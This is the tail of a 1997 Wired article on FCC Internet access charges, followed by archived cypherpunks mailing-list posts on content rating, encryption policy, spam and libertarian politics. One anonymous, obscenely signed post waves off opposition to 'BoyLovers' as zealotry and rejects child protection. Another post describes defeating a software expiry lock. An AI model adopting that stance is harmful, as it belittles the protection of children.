each local loop that runs into an ISP line - lines
that generate revenues of only $17 per month. That
piddling 17 bucks, the telcos claim, barely covers the
cost of keeping a dial tone humming, and isn't nearly
enough to pay for the expensive upgrades needed to
handle circuit-gobbling Internet providers. If more
money isn't spent to upgrade the network, the
scaremongers warn, traffic jams caused by gluttonous
Internauts could become a public menace. The report
concluded that "service interruptions of even a
temporary length could affect public safety services
such as 911 service, with unthinkable consequences."
The telcos' solution: the FCC must let them levy
per-minute access charges to raise the hundreds of
millions of dollars a year needed to keep the phone
system from crashing.

To battle the phone companies' analytical onslaught,
Intel, Compaq, IBM, America Online, CompuServe, and a
handful of trade associations formed the Internet
Access Coalition in the autumn of 1996 to craft a
counterstudy to rebut the telcos' claims. Delivered to
the FCC in January 1997, the coalition report, titled
"The Effect of Internet Use on the Nation's Telephone
Network," blasted telco assumptions and pointed out
their hypocrisy: the Baby Bells whine that flat-rate
Internet services are congesting phone lines even as
many of them are peddling flat-rate Internet access
themselves. Some have actually given it away - in
California, PacBell offered five months of free
Internet service and waived installation charges for
customers who ordered a second phone line. How can a
cash-strapped phone company afford this? Since many
homes are already wired for two lines, second-line
service has become a source of easy profits for the
telcos. In 1995, for example, second lines generated
six times the revenues the Baby Bells now say they
need to upgrade their networks.

The coalition's debunking was thorough. Even if data
calls average 20 minutes - so what? One such call eats
up fewer phone company resources than 20 individual
one-minute voice calls. Moreover, the much-publicized
"clogged network" numbers came from areas with
exceptionally heavy modem use - regions that are
hardly representative of the network as a whole. In
other words, the telcos gave the FCC anecdotal,
worst-case estimates of network-congestion
difficulties and presented them as commonplace, or
perhaps even dangerous.

The phone companies reacted to the IAC study by
retreating from their initial position. No longer will
you hear their lobbyists talk of 3-cents-a minute
access surcharges; since early this year the fallback
stance has been to seek some charge - any charge! - as
long as it's collected through a metered pricing
scheme. "It doesn't have to be a large charge," Bell
Atlantic's Ed Young now says. "It can be something of
the magnitude of a penny a minute, or even less. But
it has to be something."

The friendly FCC? The Baby Bells might have assumed
they had allies in the four FCC commissioners. The
agency's history is replete with precedents in which
decisions have shielded venerable industries from
competition by upstarts. The commission delayed the
introduction of FM radio to protect AM stations. It
stalled cable television to benefit broadcasters. No
wonder, then, that many Internet users took for
granted that it would happily sacrifice the Net to
spare the telcos.

But, surprisingly, the FCC has often gone out of its
way to protect the Net from telco onslaughts. A 1980
directive dubbed "Computer II" said the commission
would regulate only "basic" telephone services, not
providers of "enhanced services." That marked the
Net's first reprieve, as the "enhanced service
provider" category includes everything from voicemail
services to alarm-monitoring firms to Internet
providers.

In 1984 Ma Bell splintered, and the FCC decided to
tack an "access charge" of roughly 5 cents a minute
onto every long distance call to compensate local
phone companies for completing the local-loop
connection. The Net's second reprieve came when
commissioners ruled that enhanced service providers
wouldn't be obliged to pay similar access charges
because of the "severe rate impacts" that would
result.

Finally, in 1987, the telcos trotted out many of the
hardship claims they still use today, saying that
voice users were subsidizing the clunky online
services of the time, and demanding that the FCC
impose per-minute access charges on them. The nascent
high tech community responded to the affront quickly.
Irate BBS sysops buried the agency in faxes (a novelty
at the time), while firms such as IBM, Digital, and
CompuServe persuaded a few members of Congress to
intervene. In the end, the commissioners ruled for the
Net and against the telcos, saying that it was
inappropriate to assess per-minute charges on the
fledgling online industry.

That ruling, which immunized ISPs and online services
against access charges, is what the telcos now call
obsolete. Access charges, paid mostly by long distance
companies, added up to more than $23 billion in 1996.
These days, however, long distance companies like MCI
and AT&T are cajoling the commission to reduce access
charges, and the FCC seems sympathetic to the idea.
This means long distance rates may soon be dropping.
But it also means the Baby Bells will pull in less
cash from long distance carriers - a potential
shortfall that perhaps explains why they are now so
hungry to levy access charges on Internet providers.

All this wonk warfare might have gone largely
unnoticed on Main Street USA, were it not for an FCC
Web page that solicited public input on the
access-charge issue. Only a few comments trickled in
during the first few weeks after the page was put up
in December 1996. But as the spring comment deadline
grew near, the word got out: the FCC was poised to
screw the Net. Between February 1 and February 14,
hundreds of thousands of irate emails flooded
isp@fcc.gov. In message after message, Internet users
pleaded, argued, and reasoned with the agency not to
levy access charges. One message labeled the telcos'
demands "just another scam so the greedy phone
companies can separate even more money from
consumers."

This tidal wave of digital bile did not escape the
attention of Reed Hundt, chair of the FCC. "Imposing
today's interstate access charges on Internet users is
the information-highway equivalent of reacting to
potholes by making drivers pay for a new toll road,"
he says. Such comments are reassuring, but like any
veteran bureaucrat, Hundt seems eager to find a middle
ground between the telcos and the Net. Thus, he has
also offered his own solution. Right now, residential
phone lines are cheap because federal and state
agencies have mandated increases in the cost of long
distance calls and premium services like call waiting
to subsidize basic dial-tone access for everyone.
Hundt has suggested removing these subsidies from
second phone lines. In the absence of local-loop
competition, his proposal would potentially double the
price of a second line. But it would also give the
telcos less to grumble about.

Hundt has only one vote on the four-member Federal
Communications Commission (the fifth spot remains
vacant at the time of this writing), but other
commissioners seem to agree with his position. "We're
going to walk very carefully so as not to impede
progress or competition," insists Commissioner Susan
Ness. Indeed, when the group held a preliminary vote
on access charges last December, it ruled that
Internet providers should not be subject to access
charges of around 3 cents a minute. Since today's
system is so screwed up, the agency said, "We see no
reason to extend this régime to an additional class of
users, especially given the potentially detrimental
effects on the growth of the still-evolving
information services industry."

The Net had - once again - found an improbable ally in
the FCC. But the lovefest may be short-lived. The
ruling left the door open for the commission to impose
access charges of less than 3 cents, and the telcos
are now asking for a penny a minute.

Inside the Beltway, the buzz is that the FCC won't
impose new access fees anytime soon. But no matter
what the commissioners decide, the losing side is
likely to take its grievances to the Senate's
Commerce, Science, and Transportation Committee, which
oversees the agency and could overrule its decision.
The Commerce Committee's new chair, Senator John
McCain (R-Arizona), harbors little sympathy for the
telcos - or their lobbyists. (See "The McCain Mutiny,"
page 122.) After presiding over a recent hearing on
universal service, McCain began spreading the word
that he opposes new access charges. "The claims that
are being made by the telcos are somewhat
exaggerated," he says. "I'm persuaded that online
access isn't nearly the burden they are complaining
about." McCain's assessment is not universally shared
- Alaska's Senator Ted Stevens, a senior Republican on
the committee, said in March that Internet services
should be regulated as telephone companies, and forced
to pay some form of access charge or universal service
fee.

The ad hoc alliance All of which means that the
peculiar synergy that exists between grassroots
Internet users and high tech corporations remains as
important as ever. In the face of the telcos'
onslaught, netizens are joining ranks with business
interests to lobby the government and protect the Net.
Although the flood of angry email that stuffed the
FCC's in-box was a chaotic, word-of-mouth effort, it
worked wonders - and effectively changed the course of
the debate in DC. "I think people in Washington
recognize that the 300,000-message deluge was just the
tip of the iceberg," says Paul Misener, Intel's chief
(and only) telecom lobbyist and coordinator of the
Internet Access Coalition.

Yet in a very real way, the digital nation had
misidentified its foe. As a rule, Washington's
bureaucrats are not power-crazed authoritarians; most
are reactive creatures who simply respond to
demonstrations of influence and power. Bell Atlantic,
PacBell, Nynex, et alia leaned hard on the FCC for
access fees, and the agency reacted in its own
instinctively bureaucratic way. The high tech
community responded by forming its own ad hoc
coalition to pressure the FCC, and thousands of
Internet users chimed in to express their collective
dismay. Of course, the best way to win not just the
battle but the war may be to remove the commission's
power to regulate the Net altogether. Still, so far
the real threat to netizens has come from complacent
telcos and their legions of starched-collar lobbyists,
not the FCC. The distinction is important, because the
old rule of thumb still holds true: The enemy of our
enemy may occasionally prove to be our friend.

-----

Declan McCullagh (declan@well.com) is the Washington
correspondent for The Netly News (http://netlynews.com/).

Copyright (c) 1993-97 Wired Magazine Group Inc. All
rights reserved. Compilation Copyright (c) 1994-97 Wired
Digital Inc. All rights reserved.


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 31 Jul 1997 23:57:04 +0800
To: cypherpunks@toad.com
Subject: Re: Yet another self-labeling system (do you remember -L18?)
Message-ID: <199707311540.RAA01345@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



James Love wrote:

>    On your other point, I really don't agree that is morally wrong to
>take steps to prevent children from having access to pornography. 
>People may propose ways of doing this which are objectionable, but the
>basic goal is hardly immoral.  Indeed, many think it is immoral not to
>protect children.

Yes, yes...one man's morality is another's immorality.  Each of them thinks 
of himself as "being in the right" and sees the others as wrong or even 
"evil"  (witness the anti-BoyLover zealotry).  Different subjects but the 
same bullshit.  See the futility of it yet, Jamie?

If parents find pornography objectionable for their children, then they 
must take ultimate responsibility to keep pornography away from their kids. 
 If they are not willing to do this, then they should not have had the 
children in the first place.  It's up to them to take care of their kids. 
Not you, not me, not the government, and not some "voluntary" ratings 
system.

CyberAnalFistFuckingActionMonger







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 1 Aug 1997 08:57:54 +0800
To: jwn2@qualcomm.com
Subject: Re: excerpt from William P. Crowell
In-Reply-To: <v04000d12b006c4406797@[129.46.137.118]>
Message-ID: <199708010050.RAA27103@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



John W. Noerenberg writes:
> 
> Excerpt from prepared testimony of William P. Crowell deputy director,
> National Security Agency before the House National Security Committee
> Wednesday, July 29, 1997:
> 
> [Intro elided]
> 
> Goodlatte Bill and  National Security
> 
> Before I go into the details of what the nation needs in a balanced
> encryption policy - a policy that gets strong encryption to be used widely
> while at the same time protects the nation's public safety and national
> security - it is important to understand that the Goodlatte bill would
> directly threaten national security.

[yadda yadda]

> Despite Being Available, Encryption is Not Being Widely Used
> 
> Most measurements of encryption are inadequate (incomplete or inconclusive)
> since they do not show how many people are using encryption. Encryption can
> be measured in a number of ways. Depending on how it is measured, one could
> misconstrue the data to conclude that "the encryption genie is out of the
> bottle" or that the bottle is tightly plugged.

That's some nice FUD to throw out.

> The fact of the matter is that encryption is widely available (e.g.,
> embedded in tens of millions of commercial software products) but, based on
> our impressions from market surveys, etc., is not widely used. Those who
> argue that government encryption policies are outdated because "the
> encryption genie is out of the bottle" (i.e., there are many products
> advertised to contain encryption and some of them are available from the
> Internet) must consider two important perspectives.
> 
> First, encryption is not now being, and will not be, used to its fullest
> potential (with confidence by 100s of millions of people) until there is an
> infrastructure in place to support it.


Oh my, this is wonderful.

The reason that encryption isn't widely used is _directly_ because
of current government policy!!  They're using the results of their
own bad policy to justify more bad policy.

"In order to have widespread encryption, we must restrict it"

"Ignorance is strength"

"Freedom is slavery"




-- 
 Eric Murray   (ericm  at  lne.com   or   nabletech.com)     PGP keyid:E03F65E5





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 2 Aug 1997 22:21:21 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <Pine.GSO.3.95.970730115813.3330F-100000@well.com>
Message-ID: <Pine.LNX.3.91.970731175000.426A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> It generally is not morally wrong to take steps to prevent children from
> having access to pornography, provided they're your children or you have a
> custodial relationship. 

I used to be of broadly this opinion, and still am conviced it is so, 
However, I think we have to separate saying something is not morally 
wrong from encouraging it, I believe parents may censor their childrens 
access to information as they see fit, but I don`t think they should.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 2 Aug 1997 22:08:10 +0800
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DF81CF.1662D004@cptech.org>
Message-ID: <Pine.LNX.3.91.970731181540.426C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> > Persuation is not the point, it is not necessary to persuade people
> > that
> > censorship is morally wrong in order for it to be so.
> 
>      Well, if persuasion is "not necessary," then why do you care about
> anyone's views on this?

I don`t give a fuck about anyone elses views, however, I debate such 
points here and elsewhere for my own personal pleasure, the real power to 
change things comes through the use of technology, not debate.

>     On your other point, I really don't agree that is morally wrong to
> take steps to prevent children from having access to pornography. 
> People may propose ways of doing this which are objectionable, but the
> basic goal is hardly immoral.  Indeed, many think it is immoral not to
> protect children.

Foo. I see no point in pursuing this any further.


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 1 Aug 1997 03:22:57 +0800
To: whgiii@amaranth.com
Subject: Re: uncensorable net based payment system?
In-Reply-To: <199707311307.IAA17412@mailhub.amaranth.com>
Message-ID: <199707311722.SAA02457@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




William Geiger <whgiii@amaranth.com> writes:
> In <199707311240.NAA00742@server.test.net>, on 07/31/97 
> >  at 01:40 PM, Adam Back XXIVth <aba@dcs.ex.ac.uk> said:
> >
> >Then I can have some net cash savings backed by the rights to 1Tb of
> >bandwidth at 100 Mb/sec.  100 Mb/sec for 3 days.
> >
> >A problem with this is that the market prices of the assets is
> >continually dropping.  How do I hedge against this.  Can I buy futures? 
> >Sell 100 Mb/sec for 3 days now in exchange for 200 Mb/sec for 3 days in 1
> >years time at an predicted equivalent value? 
> 
> Well I see some problems with this. Any increase in bandwith requires the
> addition of hardware to accomplish it. It would be of little use to me to
> have 100 Mb/sec for 3days considering the cost of installing the lines and
> purchacing the extra equipment.

I wasn't thinking of using the bandwidth myself, just using it as a
commodity to back an electronic cash system with.  Eg it's like a gold
currency, I can't eat gold or do anything that useful with it myself,
but some people use it (jewelers, circuitry, etc), and those people's
demand give's it value.  There demand + other speculators such as
myself defines the current market price.

So I was thinking that this bandwidth would be readily transferable as
there will always be people on the look out for a good buy for their
bandwidth.  If you're going to auction off unused bandwidth on leased
pipes etc, there will be people dynamically buying bandwidth at the
best price they can get.

> Also in a packet switching environment how do you plan on insuring any
> amount of bandwith? The Backbone is not set-up for this. The only way in
> the current enviorment that you can guarantee a given bandwith is by
> having a dedicated connection point to point.

ATM?  Virtual ATM?  We were talking 10-15 years time frame there.

Guaranteed bandwidth virtual pipes have got to come for metering to
make sense.  Metering is going to come for some aspects of the net
sooner or later.  Even if you buy outright your leased line and all
the bandwidth on it, it will be more efficient if you can sell off
spare bandwidth during your weekends and evenings.  Also you could
underbuy your bandwidth if you knew with an acceptable degree of
certainty that you could buy in the extra bandwidth as needed in an
efficient market.

There will be people happy to buy your off peak bandwidth for batch
data shovelling.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 1 Aug 1997 09:40:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: free market services vs monopoly government
In-Reply-To: <199707312059.VAA03086@server.test.net>
Message-ID: <19970731182720.53925@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Jul 31, 1997 at 09:59:37PM +0100, Adam Back wrote:
> 
> I wrote at the bottom of another post:
> > General rhetorical question: indeed why have governments at all?
> 
> and Kent Crispin parried:
> : General rhetorical answer:  Because people are the way they are.
> 
> Kent you seem to harbor the belief that government monopoly is a good
> thing, or at least that government is somehow an unavoidable necessary
> evil.

Adam, in all honesty I don't think of it like that at all. 
"Government" to me is a completely neutral abstract term, like
"organization", or "society".  Consequently, a statement like
"Government is always bad" is ipso facto a shallow generalization, and
my natural reaction is to point out that sometimes government is good. 
Since the poor brainwashed souls on cypherpunks uniformly spout the
"Government is bad" party line, the result is that comes out looking
like I think government is good.  But that is an incorrect impression. 
Government, as a general abstract term, is neither bad or good. 

[Note: While "government" in general is a completely neutral term,
particular governments may be better or worse in various dimensions,
of course.  But it is never a black or white thing.  The government of
Singapore accomplishes a great deal for its citizens, but I would not
want to live there because of the constraints on freedoms I value. 
But the government of Singapore is vastly preferable to the government
of North Korea.]

I don't think of government as a "necessary evil", either.  Rather,
I think that a government of some kind is an inevitable outgrowth of
human nature.  I think this for three compelling reasons: first, it is
obversationally true -- there are essentially no human beings who live
without a government of some kind; second, because it is in agreement
with all my observations and knowledge of human nature; and third,
because it makes sense to me as the rational consequence of the
existence of force as an interpersonal interaction. 

[...]

> Are you opposed to free markets?

Nope.

> Government holds a number of monopolies.  These monopolies are not
> efficient.  They result in resource wastage on a mind boggling scale.
> The USG has pretty much bankrupt your country, the US national debt
> being I understand at a level where US citizens collectively do not
> have the resources to pay it off.  If a privately or publicly held
> company got to that stage the receivers would be sent in.

In fact, of course, the US generates a great deal of wealth for its
citizens, who are among the best off and most productive of any nation
on earth.  Of course it could be better, but it could be a whole lot
worse.  To say that the form of government had nothing to do with that
*success* is intellectually dishonest -- one can just as easily argue
that things are good in the US largely *because* we have a relatively
good government. 

> The success that a country does enjoy is pretty much proportional to
> the degree of market freedom.  Luckily for us our governments have
> left a bit of freedom in markets, or we would have food shortages, and
> rationing.

Oh, "luckily".  No possibility that there was intelligence involved,
eh?

[...]
> Governments tend to grow, and soak up larger tax percentages, and
> encroach into more aspects of life which were previously a question of
> free choice, or were previously purely market driven.  The reason for
> this growth is due to the government as an entity unconciously
> promoting itself as an organism.  A great huge cancerous growth which
> has us by the jugular.

"Governments" is the wrong term here.  A more correct term would be 
"bureaucracies."   The growth you describe is endemic to any large 
human organization.  Large corporations go through very similar 
cycles.  Charities, churches, clubs -- it happens everywhere.  
Sometimes the organization becomes too fat and dies.  Sometimes it 
manages to metamorphose into something else.  But none of the 
characteristics you describe are unique to governments.

> The reason governments as businesses can get away with their abysmal
> performance is because they have a near complete monopoly.
> 
> A good start would be a choice in government, to generate some
> competition.  So you can buy membership in a protection racket, hire
> the services of a private security firm, or buy insurance from an
> insurance group because of its benefits package, or go elsewhere if
> the offering sucks.  You choose on an individual basis what package
> best suits you, and you choose the service providers who you consider
> as the best value for money.

This is a pure pipe dream, a utopian fantasy for libertarians.  I 
could say "a good start would be for everyone to love one another" -- 
it would be just as real.

> eg. I can go buy into Uncle Enzo's pizza delivery and protection
> racket because the protection is 5000% better value for money than the
> Feds deal.

How do you get out from Uncle Enzo's protection racket when things go 
sour, if Uncle Enzo doesn't allow his customers to leave, or even to 
say anything bad about him?

> I can pick and choose the services I want to produce a mix which
> satisfies me.  Double efficiency, people don't have services provided
> for them which they actively don't want, and I can buy services which
> the government attempts to prevent the market from providing, so my
> requirements are better met.
> 
> As well as the increased efficiency obtained in provision of services
> which governments are currently holding monopolies on, the reduced
> taxation and regularatory burdens put on the economy would cause a
> boom.
> 
> And your argument is?

You are describing pure speculative fantasy, and it is pointless to
argue the details of your speculation.  All I can do is point out that
it *is* a speculative fantasy, and challenge you to produce something
meaningfully concrete.  Show me a real living example of such a
society in operation.  If such an excellent society existed then
surely people would flock to it in droves.  Or is it like communism --
we have to have the whole world under control before the dictatorship
of the proletariat withers away, and the glorious new world order
flowers?

[...]

> So which mix would you choose Kent?
> 
> Or are you arguing that there are lots of stupid people, and that you
> are happy to let their ill-informed choices, and their willingness to
> go with the bankrupt corrupt status quo fuck your life up? 

No, I think that average people have much more sense than you give
them credit for, and that the egotism of people who are bright
technically frequently blinds them to their shallow understanding of
other areas.  I have seen very bright people caught up in all sorts of
insane ideas.  The best example I know is the weapons physicist, a
brilliant and clever thinker, who is a member of a fundamentalist
Christian group.  He predicted the second coming on a particular day,
and announced it to the press, with a statement to the effect that he
had set off bombs at the Nevada test site with less intellectual
certainty than his prediction.  I'm sure he is now back reading the
the Bible and other texts, and trying to figure out what went wrong. 

I admire his conviction, his tenacity, but not his grip on reality. 

[...]

> Free choice makes for much more efficiency in terms of economics, and
> in terms of individuals happiness.

Sure.  So what.  The issue is what *real* can be done.  Utopian 
fantasies don't do it.

> Here's a reading list for those interested in disbanding government
> and replacing it with services purchased on the free market:
[...]

Hmm.  You base your philosophy on a couple of science fiction novels,
"The Machinery of Freedom", Adam Smith, and Hayek? Some years ago I
read Nozick and Rand, because I thought there might be something to
libertarian philosophy.  I also read parts of "Machinery of Freedom"
-- a better title, I think, would be "Intellectual Tinkertoys of
Freedom" -- and something by Boas, and a couple other things that fade
from my memory.  I conclude that these books are libertarian
scripture, and function like that physicists bible.  People who
believe, and willingly host the parasitic memes, find such texts very
meaningful.  More cynical types such as myself don't relate well to
them. 

Adam, I admire your conviction, I respect your technical expertise a
lot, but we have a different view of reality.  We will just have to
differ on that. 

[...]

>print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
>)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

BTW, how do you use this code?  I'm not a big "dc" user, I must admit.

I dug out a midi interpreter I wrote a number of years ago, 
and it is indeed trivial to modify it to read any text as input.  
Unfortunately, I wrote that long before the midi file spec was 
finalized, and the hardware I wrote it for is also long gone.  But 
it's probably not much work to get file output working again...and 
the thought of a general text-to-midi translator is rather 
entertaining -- I could play this entire mail message through it, for 
example... It would definitely make better music if some rhythmic 
variation was part of the coding, but that would make it a little 
harder to make an automatic decoder...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 1 Aug 1997 03:27:13 +0800
To: whgiii@amaranth.com
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311344.IAA17797@mailhub.amaranth.com>
Message-ID: <199707311743.SAA02470@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




William Geiger MLCVXII <whgiii@amaranth.com> writes:
> In <199707311120.MAA00669@server.test.net>, on 07/31/97 
> >  at 12:20 PM, Adam Back <aba@dcs.ex.ac.uk> said:
> >
> >One way to implement this is for other people to pay the author for their
> >articles a penny if they like the article.  That way people who write
> >things which others find interesting to read get subsidized posting.  Is
> >it still free speech if you have to pay for your posts if you're arguing
> >for an unpopular minority?
> 
> This will not work!!!
> 
> Charging for e-mail/news posts will do nothing to prevent spam and
> more than likely increase the noise on such lists. It is the spamers
> who have the money to post volumns of their crap.

For email spam I disagree.  I currently get 10 spams a day or so.  All
as a result of one unprotected post to a USENET group a few weeks
back.  Before that I hadn't posted to USENET for a while and the spams
had nearly died down.

If the spammer had to pay 1c for each spam, he'd be out of business
with his current scatter gun approach.  He'd have to get a lot more
selective, because it would be in his commercial interests to do so.

> Also I think you will find that it will be the fanatics who
> will think it worth the $$$ to get their message out.

Fine by me, so long as they're paying their way, the NoCems from a
reliable rating service will take care of them.

You have more of a point in newsgroups, or mailing lists as the
spammer only has to make one post.

Charging for posts in that scenario only makes sense to stop people
who spew multiple mega-bytes of robo-spam just to be annoying, and for
no commercial gain at all.

NoCems are the real answer to public forums.  Spammers will feel less
incentive to spam when it becomes clear most people have them filtered
out anyway.

> While I find the various mailling lists & newsgroups of intrest the
> majority of them are not thet intresting that I would be willing to pay
> $$$ every time I post a reply to someones questions (most of my posts
> outside of CP are answering questions on programming,crypto, & OS/2). I
> think that the overall quality of the newsgroups would decline if you
> started paying on a per-post basis.

Surely you aren't that prolific a writer that 1c a post would
be a burden on you?

I make what 20 posts a day at peak?  Often 1 or none some days.

> It should be noted that the Bandwith issue is a red-herring. It is an
> antiquated concept from the Fidonet days and does not apply. The bandwith
> of the USENET has been *PAID IN FULL* by every subscriber to an ISP. The
> ISP customers pay for their connections to their ISP who in turn pay for
> their connections to the Access providers who inturn pay for the Backbone.
> The PIPE has been paid for what goes over it not an issue. If all I want
> to do with my T1 connection is ship *.jpg files via ftp 24/7 that is no
> ones busines but my own. If I chooses to use my bandwith to transmit a
> variety of file formats using various protocols
> (HTTP,FTP,GOFFER,ARCHIE,...ect) who are you to say that some formats are
> good and some are not!! (this is not even getting into the content of the
> data being shiped).

That's interesting, and probably true, but still bandwidth is limited,
see.  It is entirely possible for some idiots to consume vastly more
than their share of the shared pipe.

Probably what you're saying is that you like a lot of other "power
users" myself included use more bandwidth than the average neophyte.
So you're in favor of flat charges because it represents a good deal
for you.

Get me on a T1 and I use it, man.  Hmm, I'll just upgrade to gcc 2.7.x
(10 megs later) and then I'll upgrade the OS (another 50 megs later),
and so the day gos on.  Bandwidth hog.

Sitting on the end of this pay per second 28.8k PPP line really cramps
my style :-) I've started buying linux CD sets, and upgrading OS less
frequently.  I'm still on X32a (for linux people) even though it's
expired and tried to disable it's self, I've hacked around the
disablement (set the clock back 2 months for a couple of seconds while
it's starting, and then forward again part way through seems to fix
it) because I don't fancy the cost of 10 megs at 28.8k, nor the
hassle.

Now I would be pretty happy to spend $500 - $1500 a year for a 64k
leased line, or at least for a flat rate phone bill.  But nooo you
can't get that in the UK.  You're looking at more like $10k once
you've factored in leased line + bandwidth leasing.

To compensate I bought a load of BT (phone co) shares, so that at
least in theory I get some of the money they are making.  But the
OFTEL setup (government regulatory body) is killing them with
regulations, which is reducing their profitability.  I'm hanging on to
the shares, as it's supposed to end soonish.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 2 Aug 1997 22:11:40 +0800
To: "Robert W. Brewer" <rbrewer@op.net>
Subject: Re: Spam is Information?
In-Reply-To: <m3pvrz92rd.fsf_-_@wiz.rob.net>
Message-ID: <Pine.LNX.3.91.970731182538.426E-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> almost totally redundant.  Instead of posting 1 message,
> 1000 messages are posted.  The 2nd through 1000th message
> add no more information than the first.  This would not be a
> problem if the network had infinite bandwidth and storage
> capabilities.  

1. When a message is cross-posted using the "newsgroups:" line only one 
copy is sent to the news-spool and is seen in all the relevent newsgroups.

2. Bandwidth requirements are no justification for censorship, unless you 
own the equipment you are removing the messages from, even then it is 
reprehensible.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PGP Beta Team <beta@pgp.com>
Date: Fri, 1 Aug 1997 11:03:46 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: PGP Linux 5.0b11 feedback?
In-Reply-To: <v04000813b005b398a39a@[205.180.136.26]>
Message-ID: <v04000d07b006fe5d93c0@[205.180.136.26]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:01 AM -0400 7/31/97, Ray Arachelian wrote:
>A self-export option.  Click on a button to randomly and anonymously
>automatically ftp the full package with source to ftp sites outside the
>usa.  :)
>
>You should of course put in the nice warning screns about breaking the law
>and such, and then "Click here to be an international arms trafficker."
> [snippety-snip]


Ray,

Your enchanting suggestion has been duly noted (and I might add enjoyed by
the entire development team).

Perhaps we can consider implementing it in version "n-1".

   dave  ;)


__________________________________________________________________________
 Dave Del Torto      tel: +1.415.596.1781        Pretty Good Privacy, Inc
 Beta Test Mgr.      fax: +1.415.631.1033       555 Twin Dolphin Dr. #570
 <beta@pgp.com>      web: http://beta.pgp.com     Redwood Shores CA 94065
 PGP Key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x48824435






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Fri, 1 Aug 1997 12:01:46 +0800
To: "Attila T. Hun" <attila@hun.attila.org>
Subject: Re: Denning questions/reverses her position?
Message-ID: <199708010356.UAA14654@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



Is Attila doing this or is the list doing this.  I've received 25 of 
these.   ??????????????????????????????????????????


On or About 31 Jul 97 at 23:34, Attila T. Hun wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
>     I'm too old for this!  I never thought I would see the day that

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 1 Aug 1997 05:06:13 +0800
To: kent@songbird.com
Subject: Re: Third party rating services NOT self-rating (was Re: Yet another self-labeling system (do you remember -L18?))
In-Reply-To: <19970731092109.15947@bywater.songbird.com>
Message-ID: <199707312011.VAA03057@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@songbird.com> writes:
> On Thu, Jul 31, 1997 at 01:45:15AM +0100, Adam Back wrote:
> [...]
